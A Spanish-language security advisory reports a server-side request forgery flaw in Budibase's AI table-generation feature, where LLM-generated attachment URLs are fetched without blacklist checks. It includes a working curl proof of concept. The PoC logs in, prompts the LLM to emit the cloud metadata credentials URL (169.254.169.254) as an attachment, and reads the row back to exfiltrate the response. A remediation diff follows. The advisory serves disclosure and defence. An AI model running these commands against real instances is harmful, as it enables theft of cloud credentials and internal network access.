Resumen
La función uploadUrl() ubicada en packages/server/src/utilities/fileUtils.ts realiza una llamada directa a fetch(url) sin ningún mecanismo de protección contra SSRF. Esta función se invoca cuando la funcionalidad de generación de tablas con IA procesa valores de columnas de adjuntos generados por el LLM que son cadenas de texto interpretadas como URLs.
Un usuario con nivel de acceso builder puede construir prompts que induzcan al LLM a generar direcciones IP internas o endpoints de metadatos cloud como URLs de adjuntos. Cuando generateRows() invoca processAttachments(), estas URLs se resuelven en el lado del servidor sin validación contra listas negras, permitiendo al atacante alcanzar servicios internos, APIs de metadatos cloud (169.254.169.254) u otros recursos accesibles desde la red interna.
Esta vulnerabilidad es una variante de la misma clase de problema ya corregido en otras rutas de código de Budibase, donde fetchWithBlacklist() se utiliza correctamente para prevenir SSRF.
Versiones afectadas
Todas las versiones hasta 3.39.0 inclusive (versión actual en lerna.json en el momento del análisis).
Detalles técnicos
Causa raíz: uploadUrl() usa fetch() sin validación de blacklist
El código vulnerable se encuentra en:
// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
const res = await fetch(url) // Sin validación de blacklist
Esta función es invocada desde:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
entry: Record<string, any>,
attachmentColumns: FieldSchema[]
) {
function processAttachment(value: any) {
if (typeof value === "object") {
return uploadFile(value)
}
return uploadUrl(value) // Valores string tratados como URLs, descargados sin protección
}
Esta ruta se activa a través de generateRows() en la línea 34:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
await processAttachments(entry, attachmentColumns)
Comparación con la implementación correcta: processUrlFile() en extract.ts
En contraste, la función processUrlFile() en el módulo de automatizaciones sí implementa la protección adecuada:
// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
fileUrl: string,
fileType: SupportedFileType,
llm: LLMResponse
): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Correcto: usa blacklist
La función fetchWithBlacklist() valida cada URL (incluyendo redirecciones) contra una lista negra de rangos de IP privados e internos antes de realizar la petición:
// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
url: string,
request: RequestInit = {}
): Promise<Response> {
const maxRedirects = 5
let nextUrl = url
// ...
for (let redirects = 0; redirects <= maxRedirects; redirects++) {
await throwIfBlacklisted(nextUrl) // Valida contra rangos de IP privados
const response = await fetch(nextUrl, nextRequest)
La ausencia de esta validación en uploadUrl() constituye la raíz del problema.
Prueba de concepto
Requisitos previos: autenticación con nivel builder y funcionalidad de IA habilitada en la instancia.
# Paso 1: Autenticarse como builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"builder@example.com","password":"password123"}' \
-c - | grep budibase:auth | awk '{print $NF}')
# Paso 2: Usar una aplicación existente con tabla que tenga columna de adjuntos
APP_ID="app_dev_xxxx" # Usar app existente
# Paso 3: Invocar el endpoint de generación de tablas con IA con un prompt
# diseñado para producir URLs internas como valores de adjuntos.
# El LLM generará filas con valores de columna de adjunto apuntando
# a servicios internos.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
-H "Content-Type: application/json" \
-H "Cookie: budibase:auth=$TOKEN" \
-d '{
"prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}'
# El servidor invocará uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# que descarga el endpoint de metadatos cloud sin ninguna protección SSRF.
# El contenido de la respuesta se guarda en el almacenamiento de objetos
# y la URL resultante se devuelve en los datos de la fila.
# Paso 4: Leer la fila creada para exfiltrar la respuesta de metadatos
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
-H "Cookie: budibase:auth=$TOKEN"
# La URL del adjunto en la respuesta apunta al contenido de metadatos guardado
Impacto
Un atacante con acceso de nivel builder puede:
- Leer metadatos de instancias cloud, incluyendo credenciales IAM de AWS y tokens de cuenta de servicio de GCP.
- Realizar enumeración de servicios internos y exfiltración de datos desde recursos en redes privadas.
- Ejecutar escaneo de puertos en infraestructura interna mediante diferencias de tiempo o errores en las respuestas.
- Eludir la segmentación de red cuando Budibase está desplegado en una DMZ o VPC.
El vector de ataque es especialmente relevante en despliegues cloud donde el endpoint de metadatos 169.254.169.254 expone credenciales temporales con privilegios elevados, lo que puede derivar en un compromiso completo de la cuenta cloud asociada a la instancia.
Remediación sugerida
Sustituir la llamada directa a fetch() en uploadUrl() por fetchWithBlacklist():
// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"
import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"
// ...
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
- const res = await fetch(url)
+ const res = await fetchWithBlacklist(url)
const extension = [...res.url.split(".")].pop()!.split("?")[0]
Esta corrección es consistente con el patrón ya establecido en otras partes del código base de Budibase y garantiza que todas las URLs externas procesadas por el servidor pasen por la validación de rangos privados, incluyendo el seguimiento de redirecciones.
